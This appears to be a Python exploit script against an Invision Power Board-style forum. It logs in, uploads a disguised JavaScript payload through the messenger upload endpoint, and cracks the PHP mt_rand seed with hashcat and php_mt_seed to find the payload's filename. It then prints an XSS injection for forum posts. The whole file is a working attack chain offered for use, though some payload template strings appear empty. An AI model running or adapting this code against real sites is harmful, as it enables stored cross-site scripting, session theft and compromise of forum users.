#!/usr/bin/python3 import sys import re import json import base64 import hashlib import requests import os.path import sqlite3 import subprocess class Explo1t: def __init__(self, target_url, username, password, image_path, exploit_path): self.session = requests.Session() self.target_url = target_url if target_url.endswith("/") else target_url + "/" self.username = username self.password = password self.image_path = image_path self.exploit_path = exploit_path self.ref = base64.b64encode(bytes(self.target_url.encode('UTF-8'))) def login(self): query_string = "?app=system&module=core&controller=login" r = self.session.get(target_url + query_string) csrftoken = self._get_csrf_key(r.text, "login") data = { 'auth': self.username, 'password': self.password, 'csrfKey': csrftoken, '_processLogin': 'usernamepassword', } r = self.session.post(target_url + "?/login/", data=data, allow_redirects=False) # if the login worked, grab the CSRF nonce for this session if r.status_code > 300: print("[+] Login suceeded with given credentials") r = self.session.get(target_url) regex = re.compile('csrfKey: "([^"]+)"', re.IGNORECASE) matches = regex.findall(r.text) if not matches is None and len(matches) > 0: self.csrfKey = matches[0] else: print("[-] Failed to grab the CSRF nonce for this session" ) exit(1) else: print("[-] Login credentials were invalid or login failed for another reason") exit() def generate_exploit_file(self): with open(self.exploit_path, 'r') as f: exploit_code = f.read() with open('/tmp/DJ19da39an', 'w') as rf: exploit_code_tmp = """ """ exploit_code = exploit_code_tmp % base64.b64encode(exploit_code.encode('UTF-8')).decode('UTF-8') rf.write(exploit_code) self.exploit_path = "/tmp/DJ19da39an" def _get_csrf_key(self, text, action=False): regex = re.compile('name="csrfKey" value="([^"]+)"', re.IGNORECASE) matches = regex.findall(text) if not matches is None and len(matches) > 0: return matches[0] else: print("[-] Failed to grab the CSRF nonce" + " for %s!" % action if action else "!") exit(1) # lel name="csrfKey" value="e34e486cbdb6dda50b9fac3aeb7dcd3f" return def _upload_files(self): query_string = "/?app=core&module=messaging&controller=messenger&do=compose&XDEBUG_SESSION=PHPSTORM" data = { 'form_submitted': True, 'csrfKey': self.csrfKey } # we need to additionally send a pl upload key, which is a md5 hash of the user session ID and a static string cookies = self.session.cookies.get_dict() plupload = hashlib.md5(("messenger_content_upload" + cookies['ips4_IPSSessionFront']).encode('UTF-8')).hexdigest() headers = { 'X-PLUPLOAD': plupload, 'X-REQUESTED-WITH': 'XMLHttpRequest' } # select the files to upload files = { 'one': open(self.image_path, 'rb'), 'two': open(self.exploit_path, 'rb') } r = self.session.post(target_url + query_string, data=data, headers=headers, files=files) # validate that the file has been uploaded try: value = json.loads(r.text) except: print("[-] File upload failed") exit() print("[+] Successfully uploaded both files") # return the file upload location return value['imagesrc'] # emulates the 'obscureFilename' method that can replace some characters in the exploit filename def obscure_filename(self, filename, hash=False): safe_extensions = ['js', 'css', 'txt', 'ico', 'gif', 'jpg', 'jpe', 'jpeg', 'png', 'mp4', '3gp', 'mov', 'ogg', 'ogv', 'mp3', 'mpg', 'mpeg', 'ico', 'flv', 'webm', 'wmv', 'avi', 'm4v'] extension = filename.split(".")[-1] if len(filename.split(".")) >= 2 else filename[1:] safe = extension in safe_extensions if not safe: try: extension_position = filename.rindex(".") filename = filename[:extension_position] + "_" + extension except: # no dot in filename. This means the filename is the 'extension' filename = "_" + extension regex = re.compile("\.(?!(%s))([a-z0-9]{2,4})(\.|$)" % ("|".join(safe_extensions)), re.IGNORECASE) toDo = True while toDo: matches = regex.search(filename) if matches is None: toDo = False break else: match = matches[2] filename = filename.replace("." + match, "_" + match) return filename.replace(" ", "").replace("#", "") + ("." + hash) if hash else "" def plant_malicious_file(self): self.upload_url = self._upload_files() print("[+] The files were successfully uploaded") def parse_uploaded_image(self): # get the upload path from the URL regex = re.compile("%s/*(.+)%s\.(.*)\." % ( re.escape(self.target_url), re.escape(self.obscure_filename(os.path.basename(self.image_path)))), re.IGNORECASE) matches = regex.search(self.upload_url) if matches is None: print("[-] The regex was unable to parse the MD5 hash out of upload URL: %s" % self.upload_url) exit() print("[*] Image URL: %s" % self.upload_url) print("[*] Upload Path on server (relative to board URL): %s" % os.path.dirname(matches[1])) self.upload_path = os.path.dirname(matches[1]) print("[*] MD5 hash of mt_rand() of the filename: %s" % matches[2]) print("[*] Now cracking the hash. This might take a moment...") self.image_hash = matches[2] def crackimagehash(self): # delete the results.txt file so that we always get the correct result if os.path.exists("/tmp/result.txt"): os.remove("/tmp/result.txt") # write the hash to a tmp file for hashcat with open('/tmp/hash.txt', 'w') as f: f.write(self.image_hash) f.close() # use hashcat to crack the hash seeds = subprocess.Popen("hashcat -m 0 --attack-mode 3 /tmp/hash.txt ?d?d?d?d?d?d?d?d?d?d --increment --force -o /tmp/result.txt" , shell=True, stdout=subprocess.PIPE).stdout.read().decode('UTF-8') # try to read the result from the resulting filename with open('/tmp/result.txt', 'r') as f: result = f.read() result = result.split(":") if not len(result) > 0: print("Failed to crack the hash with hashcat for some reason") exit(1) self.image_hashed_value = result[1] print("[+] Cracked the MD5 hash! the value of mt_rand() is %s" % self.image_hashed_value.strip()) return def calculate_possible_hashes(self): print("[*] Now calculating the seed for mt_rand() and possible hash values of the exploit filename") seeds = subprocess.Popen("bin/php_mt_seed-4.0/php_mt_seed 0 0 0 0 " + self.image_hashed_value, shell=True, stdout=subprocess.PIPE).stdout.read().decode('UTF-8') # get PHP5 hashes regex = re.compile("seed\s*=\s*0x[a-f0-9]+\s*=\s*([0-9]+)\s*\(PHP\s*5\.2\.1") matches_php5 = regex.findall(seeds) possible_hashes = [] if matches_php5 and len(matches_php5) > 0: for value in matches_php5: possible_hashes.append(subprocess.Popen( "php5.6 -r 'mt_srand(\"%s\");mt_rand();mt_rand();echo md5(mt_rand());'" % value, shell=True, stdout=subprocess.PIPE).stdout.read().decode('UTF-8').strip()) # get PHP7 hashes regex = re.compile("seed\s*=\s*0x[a-f0-9]+\s*=\s*([0-9]+)\s*\(PHP\s*7\.1\.0") matches_php7 = regex.findall(seeds) if matches_php7 and len(matches_php7) > 0: for value in matches_php7: possible_hashes.append( subprocess.Popen( "php7.2 -r 'mt_srand(\"%s\");mt_rand();mt_rand();echo md5(mt_rand());'" % value, shell=True, stdout=subprocess.PIPE).stdout.read().decode('UTF-8').strip()) if len(possible_hashes) > 1: print("\n[+] Generated %d possible hashes for the exploit filename" % len(possible_hashes)) self.possible_hashes = possible_hashes else: print("[-] Cracking the mt_rand values failed") exit() def find_exploit_file(self): found = False for hash in self.possible_hashes: current_url = self.target_url + self.upload_path + "/" + self.obscure_filename(os.path.basename(self.exploit_path), hash) r = self.session.get(current_url) if r.status_code == 200: found = True if not 'Content-Type' in r.headers or r.headers['Content-Type'] == 'text/html': print("[+] SUCCESS - exploit file successfully uploaded and is ready to launch") self.exploit_path_url = os.path.basename(current_url) else: print("[-] The file was uploaded and found but the content type is not text/html") exit() break if not found: print("[-] The file was not found") exit() def generate_xss_exploit(self): print("\n\nSimply chose the form you want to XSS (PM / post / thread etc.), right click, inspect element and insert the following HTML:\n\n") payload = "" % (self.upload_path, self.exploit_path_url) print(payload) def launch(self): self.login() self.generate_exploit_file() self.plant_malicious_file() self.parse_uploaded_image() self.crackimagehash() self.calculate_possible_hashes() self.find_exploit_file() self.generate_xss_exploit() '''test = Explo1t("x", "x", "y", "d", "x") print(test.obscure_filename("lol.php.png")) exit()''' # parse user args if not len(sys.argv) == 6: print("Usage: %s target_url username password path/imageToUpload.png path/exploit_js_file" % sys.argv[0]) exit() target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] image_path = sys.argv[4] exploit_path = sys.argv[5] # do some validation beforehand. We do not want special characters in the exploit filename, otherwise mt_rand() will be called another time # and calculations may fail regex = re.compile("[^a-zA-Z0-9!\-_\.\*\(\)\@]", re.IGNORECASE) if regex.search(os.path.basename(exploit_path)): print("[-] The exploit filename should not contain characters other than alphanumerical characters and [!-_.*()@]. Whitespaces are also bad.") exit() if len(os.path.basename(exploit_path)) > 50: print("[-] The exploit filename should not be longer than 50 characters so we don't run into problems with filename truncation") exit() if len(os.path.basename(image_path)) > 50: print("[-] The image filename should not be longer than 50 characters so we don't run into problems with filename truncation") exit() # make sure the exploit file does not have a 'safe' file extension so that it is uploaded with out an extension safe_extensions = ['js', 'css', 'txt', 'ico', 'gif', 'jpg', 'jpe', 'jpeg', 'png', 'mp4', '3gp', 'mov', 'ogg', 'ogv', 'mp3', 'mpg', 'mpeg', 'ico', 'flv', 'webm', 'wmv', 'avi', 'm4v'] extension = os.path.basename(exploit_path).split(".")[-1] if len(os.path.basename(exploit_path).split(".")) >= 2 else os.path.basename(exploit_path[1:]) if extension in safe_extensions: print("[-] The exploit file path must not have one of the following extensions: %s" % " ".join(safe_extensions)) print("[-] This is to ensure that no extension is set for our uploaded exploit file so that the MIME type of the response is text/html") exit() # make sure that the image upload path actually has a safe image extension so that it's location is leaked image_extensions = ['jpg', 'jpe', 'jpeg', 'png', 'gif'] extension = os.path.basename(image_path).split(".")[-1] if len(os.path.basename(image_path).split(".")) >= 2 else os.path.basename(image_path)[1:] if extension not in image_extensions: print("[-] The uploaded image must have one of the following extensions: %s" % " ".join(image_extensions)) exit() explo1t = Explo1t(target_url, username, password, image_path, exploit_path) explo1t.launch()